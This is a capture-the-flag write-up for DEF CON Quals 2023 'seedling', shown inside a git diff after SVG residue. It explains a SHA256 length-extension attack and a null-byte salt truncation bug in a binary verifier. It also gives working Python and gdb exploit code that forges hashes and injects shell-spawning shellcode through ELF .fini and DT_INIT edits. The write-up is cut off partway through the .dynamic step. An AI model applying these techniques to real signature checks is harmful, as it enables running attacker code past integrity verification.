<rect x="0" y="0" width="12" height="12"/>
</clipPath>
<g id="source-14" clip-path="url(#clip-3)">
<g clip-path="url(#clip-2)">
<path fill="none" stroke-width="1" stroke-linecap="butt" stroke-linejoin="miter" stroke="rgb(78.431373%, 31.372549%, 31.372549%)" stroke-opacity="0.5" stroke-miterlimit="10" d="M 13 -13 L -1 1 M 13 -7 L -1 7 M 13 -1 L -1 13 M 13 5 L -1 19 M 13 11 L -1 25 "/>
</g>
</g>
<pattern id="pattern-1" patternUnits="userSpaceOnUse" x="0" y="0" width="12" height="12" viewBox="0 0 12 12">
<use xlink:href="#source-14"/>
</pattern>
</defs>
<path fill-rule="nonzero" fill="rgb(100%, 100%, 100%)" fill-opacity="1" d="M 0 0 L 215 0 L 215 107.6875 L 0 107.6875 Z M 0 0 "/>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(58.823529%, 58.823529%, 58.823529%)" stroke-opacity="1" stroke-miterlimit="10" d="M 20.5 20.5 L 64.5 20.5 L 64.5 55.5 L 20.5 55.5 Z M 20.5 20.5 "/>
<g fill="rgb(0%, 0%, 0%)" fill-opacity="1">
<use xlink:href="#glyph-0-1" x="30" y="42.828125"/>
<use xlink:href="#glyph-0-2" x="37" y="42.828125"/>
<use xlink:href="#glyph-0-3" x="44" y="42.828125"/>
<use xlink:href="#glyph-0-2" x="48" y="42.828125"/>
</g>
<path fill-rule="evenodd" fill="url(#pattern-0)" d="M 65 20 L 129.5 20 L 129.5 55.84375 L 65 55.84375 Z M 65 20 "/>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(78.431373%, 31.372549%, 31.372549%)" stroke-opacity="1" stroke-miterlimit="10" d="M 65.5 20.5 L 129.5 20.5 L 129.5 55.5 L 65.5 55.5 Z M 65.5 20.5 "/>
<g fill="rgb(0%, 0%, 0%)" fill-opacity="1">
<use xlink:href="#glyph-0-4" x="75" y="42.828125"/>
<use xlink:href="#glyph-0-2" x="82" y="42.828125"/>
<use xlink:href="#glyph-0-1" x="89" y="42.828125"/>
<use xlink:href="#glyph-0-1" x="96" y="42.828125"/>
<use xlink:href="#glyph-0-5" x="103" y="42.828125"/>
<use xlink:href="#glyph-0-6" x="106" y="42.828125"/>
<use xlink:href="#glyph-0-7" x="113" y="42.828125"/>
</g>
<path fill-rule="evenodd" fill="url(#pattern-1)" d="M 130 20 L 194.5 20 L 194.5 55.84375 L 130 55.84375 Z M 130 20 "/>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(78.431373%, 31.372549%, 31.372549%)" stroke-opacity="1" stroke-miterlimit="10" d="M 130.5 20.5 L 194.5 20.5 L 194.5 55.5 L 130.5 55.5 Z M 130.5 20.5 "/>
<g fill="rgb(0%, 0%, 0%)" fill-opacity="1">
<use xlink:href="#glyph-0-1" x="140" y="42.828125"/>
<use xlink:href="#glyph-0-2" x="147" y="42.828125"/>
<use xlink:href="#glyph-0-3" x="154" y="42.828125"/>
<use xlink:href="#glyph-0-2" x="158" y="42.828125"/>
<use xlink:href="#glyph-0-8" x="165" y="42.828125"/>
<use xlink:href="#glyph-0-9" x="168" y="42.828125"/>
<use xlink:href="#glyph-0-10" x="171" y="42.828125"/>
<use xlink:href="#glyph-0-6" x="178" y="42.828125"/>
</g>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(0%, 0%, 0%)" stroke-opacity="1" stroke-miterlimit="10" d="M 20.5 71.5 L 20.5 66.5 "/>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(0%, 0%, 0%)" stroke-opacity="1" stroke-miterlimit="10" d="M 20.5 71.5 L 195.5 71.5 "/>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(0%, 0%, 0%)" stroke-opacity="1" stroke-miterlimit="10" d="M 195.5 71.5 L 195.5 66.5 "/>
<g fill="rgb(0%, 0%, 0%)" fill-opacity="1">
<use xlink:href="#glyph-0-11" x="73" y="84.171875"/>
<use xlink:href="#glyph-0-2" x="80" y="84.171875"/>
<use xlink:href="#glyph-0-12" x="87" y="84.171875"/>
<use xlink:href="#glyph-0-11" x="93" y="84.171875"/>
<use xlink:href="#glyph-0-10" x="100" y="84.171875"/>
<use xlink:href="#glyph-0-1" x="107" y="84.171875"/>
<use xlink:href="#glyph-0-8" x="114" y="84.171875"/>
<use xlink:href="#glyph-0-1" x="117" y="84.171875"/>
<use xlink:href="#glyph-0-2" x="124" y="84.171875"/>
<use xlink:href="#glyph-0-3" x="131" y="84.171875"/>
<use xlink:href="#glyph-0-2" x="135" y="84.171875"/>
</g>
</svg>

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 202 KiB

703
2023/dcq/seedling.md Normal file
View File

@ -0,0 +1,703 @@
# manipulating the ELF format for great good (defcon quals 2023: seedling)
>Here we have quite a hidden gem. This large conservatory complex used to be a bustling research facility for flora-computer interface. However after losing funding, the complex fell into disarray.
>
>After we got a hold of it, we were unable to get the main computing system working again. During the process of exploring the complex, we have located a backup mechanism which allows us to provide a new executable.
>
>However it seems to reject anything we give it. The only file we managed to find that worked was found in a drive in the head researcher's desk. This binary appears to have no real use, but perhaps you can figure out a way to get something more substantial running...
Files: <https://git.lain.faith/haskal/writeups/raw/branch/main/2023/dcq/seedling.tar.gz>
- `hashes.txt` (plain text)
- `signed_binary` (ELF, x86-64)
- `verify` (ELF, x86-64)
immediately, we see that there are two binaries and a text file with a list of hashes, like this
```
0:F5CF3A81A57C45A7CE835A2DA5BB41055B5CA026E8B75DA5C05CF2CC73AD652F
1:876B824C1550432FC483259A5E5AD80E833B3EC77F37F4A980FA389860FC5380
2:D56B039378D7BB006BEBE7F0CB35D81FFB0F8C3D8EE949CC7F45C6D22B89EAF5
3:F466F2894B602058B7FE3365403392519F84F428317D9A1F013CE8D0581C415E
...
33:BDD5D27760ABB545F74460B5404301EDE9D0C3B4670D4F2ED876F172AE0742F7
```
first, we take a look at `signed_binary` as it is the simpler one
```
$ ./signed_binary
Hello hackers
```
here's the `main` function
```c
void main(void)
{
puts("Hello hackers");
/* WARNING: Subroutine does not return */
exit(0);
}
```
this is fairly straightforward, there's nothing super interesting here
next, `verify`
```
$ ./verify
./verify <key> [binary] [hashes]
```
since we don't know the key, we can't successfully run `verify` on `signed_binary`, but we can assume the server is running this with some secret key value
if you analyze the binary (symbols are included, thanks lol), there's a main function which loads hashes and a signed binary, calls `verify_binary`, and if verification succeeds, it runs the binary
i'm not going to put the decompilation of `verify_binary` here, since you can just see the original source code from the NI release. i had to work entirely in ghidra, which included a fun failure to do pointer-offsetting analysis
```c
qVar3 = ADJ(pEVar9)->sh_offset;
uVar4 = ADJ(pEVar9)->sh_size;
uVar1 = uVar10 + 1;
uVar9 = uVar4;
if (((ADJ(pEVar9)->sh_type != SHT_NOBITS) && (uVar1 < __n)) &&
(uVar9 = *(long *)(pEVar9 + 0x15) - qVar3, uVar9 < uVar4)) {
```
the last line here is actually looking at the next shdr's `sh_offset` field. alas,,,,, ghidra. you can just look at the source release or do the reversing yourself
but from reversing we can see that it iterates over the following, computes a hash, and compares this to hashes in the given file
- ELF header with `get_salt("elf", hashes, 0)`
- program headers (all together) with `get_salt("phdrs", hashes, 0)`
- section headers (all together) with `get_salt("shdrs", hashes, 0)`
- every section defined in the section headers with `get_salt("s", hashes, section_num)`
`get_salt(prefix, hashes, index)` is a function which
- extracts the prefix for the next hash to process. since hashes are in the form of
`<hash_prefix>:<hash>`, this gets the `<hash_prefix>` part. this prefix consists of any characters
except `:` that are found in the file up to the `:`
- computes the string form of `index` as a 2-digit decimal number
- returns a salt `prefix || hash_prefix || stringify(index)`
hashes are computed with `hash_from_file`, which computes a SHA256 in the following way
- `sha256_init`
- `sha256_update(salt, strlen(salt))`
- `sha256_update(key_data, 30)`
- `sha256_update(file_chunk, file_chunk_len)`
- `sha256_final`
note that in the binary, there's a lot of inlining going on. you can check the definitions of the SHA256 functions and compare them to the code that's been inlined to understand what's going on. also, `check_next_hash` just does a hash comparison using SIMD instructions. don't worry about trying to reverse it exactly, it's a lot of spaghetti pseudocode equivalent to basically `hash1 == hash2`
## the vulnerability
the main vulnerability is that the SHA256 can be length-extended, since the verification is just using a single pass of SHA256 (not HMAC-SHA256 which would prevent length-extension attacks)
## length extension
what's the deal with length extension?
(if this sounds familiar you can [skip this section](#or-can-we))
SHA-2 (SHA256, SHA224, etc) function by running chunks of input data through a block-oriented compression function. the compression function updates the internal algorithm state, and when all the data has been processed, the state becomes the hash output
![diagram showing how the internal state evolves in SHA-2 as input blocks are processed](https://git.lain.faith/haskal/writeups/raw/branch/main/2023/dcq/res/sha-compression-diagram.svg)
the important thing is that the algorithm state is completely represented by the hash, so by knowing the hash of a certain amount of data, you can continue running SHA-2 on more data by starting from that hash value instead of starting from the SHA constants
there's a small hiccup: what if the input data to SHA-2 isn't a multiple of the block size? to address this, SHA-2 adds padding up to the next block size, and the padding ends with the length of the input in bits. the state of SHA-2 when the hash is complete includes running the padding and length through the compression function
![diagram showing how the user data, padding, and length is all run through the compression function](https://git.lain.faith/haskal/writeups/raw/branch/main/2023/dcq/res/sha-diagram.svg)
this leads to the following scheme: suppose you have the hash for some amount of partially unknown data, for example, an unknown key combined with known binary contents. you can create a new, valid hash of the unknown data combined with some additional attacker-controlled data like this:
![diagram showing how if you append the original padding structure, followed by attacker-controlled data, you can generate a new valid hash](https://git.lain.faith/haskal/writeups/raw/branch/main/2023/dcq/res/sha-diagram-extended.svg)
the extended hash value can be computed by starting with the hash of the original data as the sha-2 state, then feeding the attacker-controlled data. the downside is that there is up to [block size] bytes of uncontrolled padding that also needs to be included in the extended data
putting this in code, we can create a simple hash extender using libsodium. this is libsodium's SHA-2 state structure which i've replicated in python
```python
class sha2_ctx(ctypes.Structure):
_fields_ = [("state", ctypes.c_uint32 * 8),
("count", ctypes.c_uint64),
("buf", ctypes.c_byte * 64)]
```
first, we calculate the padding that would have been used for the original SHA-2 over the input data
```python
def hash_extend(orig_data_len, orig_hash, extend_data):
if isinstance(orig_hash, str):
orig_hash = binascii.unhexlify(orig_hash)
total_len = math.ceil((orig_data_len + 1 + 8) / 64) * 64
padding_len = total_len - orig_data_len - 1 - 8
padding = b"\x80" + (b"\x00" * padding_len) + struct.pack(">Q", orig_data_len*8)
```
then, we initialize a new SHA-2 context with the known hash. this basically fast-forwards a working SHA-2 algorithm state to be identical to the state right after finalizing the original input data
```python
ctx = sha2_ctx()
sodium.crypto_hash_sha256_init(ctx)
for i in range(8):
ctx.state[i] = struct.unpack(">I", orig_hash[i*4:(i+1)*4])[0]
ctx.count = total_len * 8
```
finally, we add the attacker-controlled data, and return the extended buffer and the new hash value
```python
out_hash = ctypes.create_string_buffer(32)
sodium.crypto_hash_sha256_update(ctx, extend_data, len(extend_data))
sodium.crypto_hash_sha256_final(ctx, out_hash)
return padding + extend_data, bytes(out_hash)
```
let's test this out!
```python
original_data = b"meow"
hashlib.sha256(original_data).hexdigest()
> '404cdd7bc109c432f8cc2443b45bcfe95980f5107215c645236e577929ac3e52'
extend_data, new_hash = hash_extend(len(original_data), '404cdd7bc109c432f8cc2443b45bcfe95980f5107215c645236e577929ac3e52', b"hacked!")
binascii.hexlify(new_hash)
> b'e2707e81882dab99288e1c2d955223afaa9d174ed84b2e78329a6a11e02dbea1'
hashlib.sha256(original_data + extend_data).digest() == new_hash
> True
```
this demonstrates the ability to add new data to an existing SHA256 hash and come up with a new valid hash for the combination, without actually having to know all of the original data!
in practical terms, this means we can add new data to hashed regions of the `signed_binary`, and be able to fix up the hashes file to make the extension pass the verification checks
## or can we???
there's one small issue with this:
ELF binaries only load the segments specified as loadable in the program headers, which contain a file offset and size. and the program headers are verified. so appending data to the end of the binary wouldn't work, because the program headers can't be updated to reflect the new length! if we added additional data to the end, we could get the binary to pass verification but the additional data wouldn't actually be loaded into memory or interpreted usefully in any way by the kernel or the dynamic linker, so it would basically be pointless
## ELF
if this part sounds familiar you can [skip this section](#the-other-vulnerability)
how do ELF binaries work?
we can take a look at the binary using pyelftools
```python
from elftools.elf.elffile import ELFFile
f = ELFFile(open("signed_binary", "rb"))
f.header
> Container({'e_ident': Container({'EI_MAG': [127, 69, 76, 70], 'EI_CLASS': 'ELFCLASS64', 'EI_DATA': 'ELFDATA2LSB', 'EI_VERSION': 'EV_CURRENT', 'EI_OSABI': 'ELFOSABI_SYSV', 'EI_ABIVERSION': 0}), 'e_type': 'ET_DYN', 'e_machine': 'EM_X86_64', 'e_version': 'EV_CURRENT', 'e_entry': 4192, 'e_phoff': 64, 'e_shoff': 14088, 'e_flags': 0, 'e_ehsize': 64, 'e_phentsize': 56, 'e_phnum': 13, 'e_shentsize': 64, 'e_shnum': 31, 'e_shstrndx': 30})
```
the ELF header contains two things we're interested in. `e_phoff` specifies the file offset of the program headers, and `e_shoff` specifies the file offset of the section headers
program headers tell the kernel which segments of the ELF file to load into memory and other things to prepare for execution. they also tell the dynamic linker the location of the `PT_DYNAMIC` segment, which contains dynamic linking information
section headers list all the sections in the binary, which are portions of the segments with a predefined meaning. for example, `.text` is the standard section name for the executable code in the binary
we can view the list of program headers and section headers with objdump
```bash
$ objdump -x signed_binary
...
Program Header:
PHDR off 0x0000000000000040 vaddr 0x0000000000000040 paddr 0x0000000000000040 align 2**3
filesz 0x00000000000002d8 memsz 0x00000000000002d8 flags r--
INTERP off 0x0000000000000318 vaddr 0x0000000000000318 paddr 0x0000000000000318 align 2**0
filesz 0x000000000000001c memsz 0x000000000000001c flags r--
LOAD off 0x0000000000000000 vaddr 0x0000000000000000 paddr 0x0000000000000000 align 2**12
filesz 0x0000000000000650 memsz 0x0000000000000650 flags r--
LOAD off 0x0000000000001000 vaddr 0x0000000000001000 paddr 0x0000000000001000 align 2**12
filesz 0x0000000000000175 memsz 0x0000000000000175 flags r-x
LOAD off 0x0000000000002000 vaddr 0x0000000000002000 paddr 0x0000000000002000 align 2**12
filesz 0x00000000000000d0 memsz 0x00000000000000d0 flags r--
LOAD off 0x0000000000002de8 vaddr 0x0000000000003de8 paddr 0x0000000000003de8 align 2**12
filesz 0x0000000000000250 memsz 0x0000000000000258 flags rw-
DYNAMIC off 0x0000000000002df8 vaddr 0x0000000000003df8 paddr 0x0000000000003df8 align 2**3
filesz 0x00000000000001e0 memsz 0x00000000000001e0 flags rw-
NOTE off 0x0000000000000338 vaddr 0x0000000000000338 paddr 0x0000000000000338 align 2**3
filesz 0x0000000000000020 memsz 0x0000000000000020 flags r--
NOTE off 0x0000000000000358 vaddr 0x0000000000000358 paddr 0x0000000000000358 align 2**2
filesz 0x0000000000000044 memsz 0x0000000000000044 flags r--
0x6474e553 off 0x0000000000000338 vaddr 0x0000000000000338 paddr 0x0000000000000338 align 2**3
filesz 0x0000000000000020 memsz 0x0000000000000020 flags r--
EH_FRAME off 0x0000000000002014 vaddr 0x0000000000002014 paddr 0x0000000000002014 align 2**2
filesz 0x000000000000002c memsz 0x000000000000002c flags r--
STACK off 0x0000000000000000 vaddr 0x0000000000000000 paddr 0x0000000000000000 align 2**4
filesz 0x0000000000000000 memsz 0x0000000000000000 flags rw-
RELRO off 0x0000000000002de8 vaddr 0x0000000000003de8 paddr 0x0000000000003de8 align 2**0
filesz 0x0000000000000218 memsz 0x0000000000000218 flags r--
...
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 0000001c 0000000000000318 0000000000000318 00000318 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.gnu.property 00000020 0000000000000338 0000000000000338 00000338 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.gnu.build-id 00000024 0000000000000358 0000000000000358 00000358 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .note.ABI-tag 00000020 000000000000037c 000000000000037c 0000037c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .gnu.hash 00000024 00000000000003a0 00000000000003a0 000003a0 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynsym 000000c0 00000000000003c8 00000000000003c8 000003c8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .dynstr 00000092 0000000000000488 0000000000000488 00000488 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version 00000010 000000000000051a 000000000000051a 0000051a 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .gnu.version_r 00000030 0000000000000530 0000000000000530 00000530 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rela.dyn 000000c0 0000000000000560 0000000000000560 00000560 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .rela.plt 00000030 0000000000000620 0000000000000620 00000620 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
11 .init 0000001b 0000000000001000 0000000000001000 00001000 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .plt 00000030 0000000000001020 0000000000001020 00001020 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .plt.got 00000008 0000000000001050 0000000000001050 00001050 2**3
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .text 00000107 0000000000001060 0000000000001060 00001060 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
15 .fini 0000000d 0000000000001168 0000000000001168 00001168 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
16 .rodata 00000012 0000000000002000 0000000000002000 00002000 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .eh_frame_hdr 0000002c 0000000000002014 0000000000002014 00002014 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
18 .eh_frame 00000090 0000000000002040 0000000000002040 00002040 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
19 .init_array 00000008 0000000000003de8 0000000000003de8 00002de8 2**3
CONTENTS, ALLOC, LOAD, DATA
20 .fini_array 00000008 0000000000003df0 0000000000003df0 00002df0 2**3
CONTENTS, ALLOC, LOAD, DATA
21 .dynamic 000001e0 0000000000003df8 0000000000003df8 00002df8 2**3
CONTENTS, ALLOC, LOAD, DATA
22 .got 00000028 0000000000003fd8 0000000000003fd8 00002fd8 2**3
CONTENTS, ALLOC, LOAD, DATA
23 .got.plt 00000028 0000000000004000 0000000000004000 00003000 2**3
CONTENTS, ALLOC, LOAD, DATA
24 .data 00000010 0000000000004028 0000000000004028 00003028 2**3
CONTENTS, ALLOC, LOAD, DATA
25 .bss 00000008 0000000000004038 0000000000004038 00003038 2**0
ALLOC
26 .comment 00000050 0000000000000000 0000000000000000 00003038 2**0
CONTENTS, READONLY
```
both program headers and section headers contain sizes, so we can't add more data to the end of a segment or a section without changing the size field in the header. and we don't have that ability. we can only add additional data to an already verified part of the binary, we can't change the existing verified parts. even worse, since file offsets are in the verified headers, we can't change the layout of the binary at all. none of the verified parts can move around in the file
so what do we have the ability to do?
given an existing verified chunk of the binary, we can produce an extended version of the chunk that has additional data, partially controlled by us. so why not take one of the shorter sections and perform the length extension attack on its contents, then put that in the space occupied by a larger section?
## the other vulnerability
if we revisit section verification, recall that the sections are verified in order as the appear in the section headers. the section headers point to a specific offset and size in the file. so if we perform length extension on a shorter section, put the resulting data in a longer section, and replace that longer section's hash with the one we computed from the length extension, we end up with the ability to partially control the contents of a section
there's one small problem here: the salt computation. the section used for the length extension and the victim section would have different indices, resulting in different salts. this would make it impossible to compute a correct length-extension hash, since we don't have a starting SHA state that uses the correct salt
so here's the second vulnerability that will help us: you may have noticed that the prefix taken from the `hashes.txt` file is copied into the salt string verbatim, up until specifically the `:` character. this means that null bytes included in `hashes.txt` will be copied into the salt buffer. however, when the salt is fed into the SHA256 operation, the length is computed with `strlen`. this means we can inject a null byte into the salt to terminate it early. since the normally uncontrolled index value occurs after the controlled prefix, we can forge an arbitrary index and null-terminate the string early to prevent the real index from occurring in it
here's an example. suppose the verification process is checking a section with number `9`, that has a prefix in `hashes.txt` of `12`. (empirically, during verification, the `hashes.txt` numbers and the section numbers differ by `3`, so if we're faking section data we need to make sure to follow this pattern. also note that `hashes.txt` numbers are decimal while the appended section numbers in the salt are hexadecimal). this would result in a salt of `s1209`. however, if we change the prefix in the `hashes.txt` to be `502\x00` this results in `s502\x0009`, or `s502`, which mimics a section with number `02` that had a `hashes.txt` prefix of `5`. essentially, we can re-number sections to whatever we want
let's verify this in `gdb`
```bash
(gdb) start
...
Temporary breakpoint 1, 0x0000555555556a20 in main ()
(gdb) shell printf "5:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b8\n" > salt_demo.txt
(gdb) set $hashes = (void*) fopen("salt_demo.txt", "r")
```
let's simulate a salt computation for section number `9`
```bash
(gdb) print (char*) get_salt("s", $hashes, 9)
$1 = 0x55555555a4e0 "s509"
```
by default, we get a mismatch of the `hashes.txt` index and appended section number. however, using early null termination
```bash
(gdb) start
...
Temporary breakpoint 1, 0x0000555555556a20 in main ()
(gdb) shell printf "502\x00:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b8\n" > salt_demo.txt
(gdb) set $hashes = (void*) fopen("salt_demo.txt", "r")
(gdb) print (char*) get_salt("s", $hashes, 9)
$2 = 0x55555555a4e0 "s502"
```
just for fun, we can demonstrate that faking `shdrs` is also possible, though we don't end up using this in the final exploit
```bash
(gdb) start
...
Temporary breakpoint 1, 0x0000555555556a20 in main ()
(gdb) shell printf "hdrs00\x00:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b8\n" > salt_demo.txt
(gdb) set $hashes = (void*) fopen("salt_demo.txt", "r")
(gdb) print (char*) get_salt("s", $hashes, 9)
$3 = 0x55555555a4e0 "shdrs00"
```
now we can use this trick for great good, but first we need to set up a testing environment. with the NI source release, you know what the keyfile used to calculate the stock `hashes.txt` was now, but during the CTF this was unknown. so we needed a way to be able to run `verify` to completion locally while developing the exploit
## creating a test environment
since we don't know the real key, let's generate a hashes.txt for a key that we do know
```bash
$ echo -n "meowmeowmeowmeowmeowmeowmeowme" > test_key.txt
$ gdb --args ./verify test_key.txt signed_binary hashes.txt
(gdb) set $base64 = 0x0000555555554000
(gdb) set $index = 0
# break on the RET instruction of hash_from_file
(gdb) b *($base64 + 0x01ffc)
(gdb) commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>dump binary memory /tmp/hash $rax $rax+32
>eval "shell echo -n %d:", $index
>shell xxd -p -c 32 /tmp/hash
>set $index = $index+1
>c
>end
# next, break inside check_next_hash and make it always succeed
(gdb) b *($base64 + 0x02092)
(gdb) commands
Type commands for breakpoint(s) 2, one per line.
End with a line saying just "end".
>jump *($base64 + 0x020cd)
>end
(gdb) run
...
0:b6270578d3f48b4bc60cf5d4d2a81615d5635ad3ead5a980249e5ef939a045c0
...
1:319a2637b2d4220fa02b3a45c40114764458d87ad69b0006a2ea54f697bae580
......
```
we can put these test_hashes in a file, and now we can run verify successfully
```bash
$ ./verify test_key.txt signed_binary test_hashes.txt
Verifying binary...
Successfully verified binary!
Hello hackers
```
## section replacement
now let's try replacing a section with another section, using the null byte trick to control the salt. we can target `.init_array` and `.fini_array`, which are both 8 bytes long
```python
init_array_salt = b"s2314"
init_array_hash = "23:52ac6af154f0fcb8cf318d9359f708078ead1372c581dca7d3466696904c38d0"
init_array_hash = init_array_hash.split(":")[1]
init_array_data = f.get_section_by_name(".init_array").data()
fini_array_offset = f.get_section_by_name(".fini_array").header.sh_offset
with open("./test_hashes.txt", "rb") as f_:
hashes = [x for x in f_]
hashes[24] = init_array_salt[1:] + b"\x00:" + init_array_hash.encode() + b"\n"
with open("./signed_binary", "rb") as f_:
binary = bytearray(f_.read())
binary[fini_array_offset:fini_array_offset+8] = init_array_data
with open("./test_hashes_modified.txt", "wb") as f_:
f_.writelines(hashes)
with open("./signed_binary_modified", "wb") as f_:
f_.write(binary)
```
let's try it out
```bash
$ ./verify test_key.txt signed_binary_modified test_hashes_modified.txt
Verifying binary...
Successfully verified binary!
Hello hackers
```
## finding a victim section
now we have all the building blocks for an exploit working. we're almost done! all that's left is to figure out where exactly to apply them
clearly, in order to pop a shell we'll need to put shellcode into `.text`. the issue is, because of the padding needed for the length extension attack, we'll end up with a bunch of garbage instructions at the beginning of `.text`. let's see what that's overwriting
![the first function in .text is \_start](https://git.lain.faith/haskal/writeups/raw/branch/main/2023/dcq/res/text-section.png)
yikes
during the CTF, we tried to identify existing sections that could fit the size constraints and contained valid instructions to jump to an address further down, but didn't find anything. clearly a smarter approach is needed
what would be able to transfer control somewhere arbitrarily in the middle of an executable section?
let's look at the dynamic linker,
## the dynamic section
the `.dynamic` section contains metadata for the dynamic linker, like the location of init functions, the offset of the relocations table, required shared libraries to load, and other things. the format is an array of a tag and a value
```c
typedef struct {
Elf64_Sxword d_tag; /* entry tag value */
union {
Elf64_Xword d_val;
Elf64_Addr d_ptr;
} d_un;
} Elf64_Dyn;
```
there are two important facts about the dynamic section
- the array is terminated by a null entry (ie, `d_tag == 0`)
- invalid tags are ignored by the dynamic linker
so if we can line up a length extension correctly, we can get the padding to be interpreted as invalid tags, and then continue with valid tags to do our attack
next we need to figure out which entry to target. originally, we tried to create a new pair of entries, `DT_PREINIT_ARRAY` and `DT_PREINIT_ARRAYSZ`. preinit arrays are a feature that allows executing code before `_start`, which seemed ideal at first, however we realized that in order for this to work we'd also need to create a new relocation to add the ASLR offset in the preinit array, and that's a lot of fixups to do
there's a simpler solution: modify the `DT_INIT` value, which has ALSR offset added automatically, and then do the length extension again targeting the `.fini` section to inject the shellcode. nothing actually checks that the `DT_INIT` value is in the `.init` section - we can put it in `.fini` and the dynamic linker will accept it. importantly, this leaves `.text` alone, which allows `_start` to execute unmodified. we target `.fini` because it's at the end of the executable segment, which causes there to be a lot of padding between it and the next section, `.rodata`, which is in a read-only segment. this leaves plenty of space for the length-extension padding and shellcode. let's try that approach
## putting it together
we need two length extensions, one for `.dynamic` and one for `.fini`
let's do `.fini` first. we start with the hash and data for `.init_array`, as before
```python
from pwn import *
context.arch = "amd64"
shellcode = asm(shellcraft.amd64.linux.sh())
import binascii, hashlib, struct
from elftools.elf.elffile import ELFFile
from sha2extend import *
def modify_binary(hashes_file="./test_hashes.txt"):
binary = ELFFile(open("./signed_binary", "rb"))
with open("./signed_binary", "rb") as f:
binary_contents = bytearray(f.read())
with open(hashes_file, "rb") as f:
hashes = [x for x in f]
key_len = 30
```
first we get metadata about `.fini` and `.init_array`
```python
fini_idx = binary.get_section_index(".fini")
fini_off = binary.get_section(fini_idx).header.sh_offset
fini_end_off = binary.get_section(fini_idx + 1).header.sh_offset
fini_len = fini_end_off - fini_off
init_array_idx = binary.get_section_index(".init_array")
init_array_data = binary.get_section(init_array_idx).data()
init_array_hash = hashes[init_array_idx + 3].split(b":")[1].decode().strip()
```
next, execute the length extension attack
```python
fini_extension, new_fini_hash = hash_extend(len(init_array_data) + len("sXXYY") + key_len,
init_array_hash, shellcode)
fini_extension = init_array_data + fini_extension
```
we need to also cover the padding between `.fini` and `.rodata`, so now that we know how long the length extension is, let's do it again with the necessary padding included
```python
pad_len = fini_len - len(fini_extension)
fini_extension, new_fini_hash = hash_extend(len(init_array_data) + len("sXXYY") + key_len,
init_array_hash, shellcode + (b"\x00" * pad_len))
fini_extension = init_array_data + fini_extension
binary_contents[fini_off:fini_off+len(fini_extension)] = fini_extension
hashes[fini_idx + 3] = (f"{init_array_idx+3}{init_array_idx:02X}".encode() + b"\x00:"
+ binascii.hexlify(new_fini_hash) + b"\n")
```
that's it, now write the modification to new files
```python
with open("./signed_binary_modified", "wb") as f:
f.write(binary_contents)
with open(hashes_file + "_modified", "wb") as f:
f.writelines(hashes)
```
let's try it out
```bash
$ ./verify test_key.txt signed_binary_modified test_hashes.txt_modified
Verifying binary...
Successfully verified binary!
Hello hackers
zsh: segmentation fault (core dumped) ./verify test_key.txt signed_binary_modified test_hashes.txt_modified
```
it passes verification! and now we have our shellcode loaded into executable memory. now we just need to execute it
for targeting `.dynamic`, we need a length extension that does not result in a `DT_NULL` tag before our controlled data - otherwise the dynamic linker will stop reading the entries. Therefore, we need a slightly longer source for length extension that does not start with `0x0000000000000000`, and results in the padding not having `0x0000000000000000` in the wrong spot either. by examining the remaining small sections in the binary we find that `.plt.got` fits the constraints
first, we extract and modify `.dynamic`
```python
dynamic_idx = binary.get_section_index(".dynamic")
dynamic_off = binary.get_section(dynamic_idx).header.sh_offset
dynamic_data = bytearray(binary.get_section(dynamic_idx).data())
dynamic_len = len(dynamic_data)
```
locate the `DT_NULL` tag and cut off the dynamic section at that point -- the rest is padding
```python
for i in range(0, len(dynamic_data), 16):
if dynamic_data[i:i+16] == (b"\x00" * 16):
dynamic_data = dynamic_data[:i+16]
break
```
find the `DT_INIT` tag and fill it in with the address of the shellcode
```python
addr = binary.get_section(fini_idx).header.sh_addr + fini_extension.index(shellcode)
for i in range(0, len(dynamic_data), 16):
dyn = struct.unpack("<QQ", dynamic_data[i:i+16])
if dyn[0] == 0xc: # DT_INIT
dynamic_data[i+8:i+16] = struct.pack("<Q", addr)
break
```
add 3 bytes of padding to align the rest of the dynamic section to the 16-byte boundary
```python
dynamic_data = b"\x00\x00\x00" + dynamic_data
```
now, pull out the contents of `.plt.got` (make sure to calculate its size the same way as `verify` here - it's the difference between its `sh_offset` and the next section's `sh_offset`, which includes 8 bytes of padding that aren't reflected in the `sh_size`)
using this, we can execute the length extension attack again
```python
pltgot_idx = binary.get_section_index(".plt.got")
pltgot_data = binary_contents[binary.get_section(pltgot_idx).header.sh_offset:
binary.get_section(pltgot_idx+1).header.sh_offset]
pltgot_hash = hashes[pltgot_idx + 3].split(b":")[1].decode().strip()
